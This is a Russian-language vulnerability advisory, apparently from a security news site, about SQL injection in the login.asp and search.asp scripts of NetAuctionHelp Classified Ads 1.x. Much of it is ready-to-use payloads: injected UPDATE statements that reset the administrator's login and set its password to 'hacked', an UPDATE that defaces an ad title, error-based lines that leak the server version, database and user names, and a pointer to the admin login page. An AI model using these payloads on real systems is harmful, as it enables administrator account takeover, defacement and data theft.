Программа: NetAuctionHelp Classified Ads 1.x

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных в параметре "username" сценарием login.asp (когда "reminder" установлен в "Password Reminder") и в параметре "nsearch" сценарием search.asp. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

Пример:

Необходимые таблицы:

tblMember.id
tblMember.login
tblMember.pswd

Уязвимая страница: Login.asp

Выполните этот запрос для забытого пароля:

-1' UPDATE tblMember Set login= 'admin' where(id='1');--
-1' UPDATE tblMember set pswd= 'hacked' Where(id= '1');--

Вы получаете админа с паролем hacked.

Это может помочь атакующему получить больше информации на странице search.asp.

/search.asp?sort=ni&category=&categoryname=&kwsearc h=&nsearch=[SQL Injection]

tblAd.id,tblAd.imagepath,tblAd.aspectratio,tblAd.t itle,tblAd.zip,tblAd.state,tblAd.startdate'

Пример:

 -1' update tblAd set title= 'hacked' where(id='1');--

addetl.asp?id=1 выведет HACKED.

1' or 1=convert(int,@@version)--
1' or 1=convert(int,@@servername)--
1' or 1=convert(int,db_name())--
1' or 1=convert(int,user_name())--
1' or 1=convert(int,system_user)--

Подсказка: /auctionAdmin/admLogin.asp

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии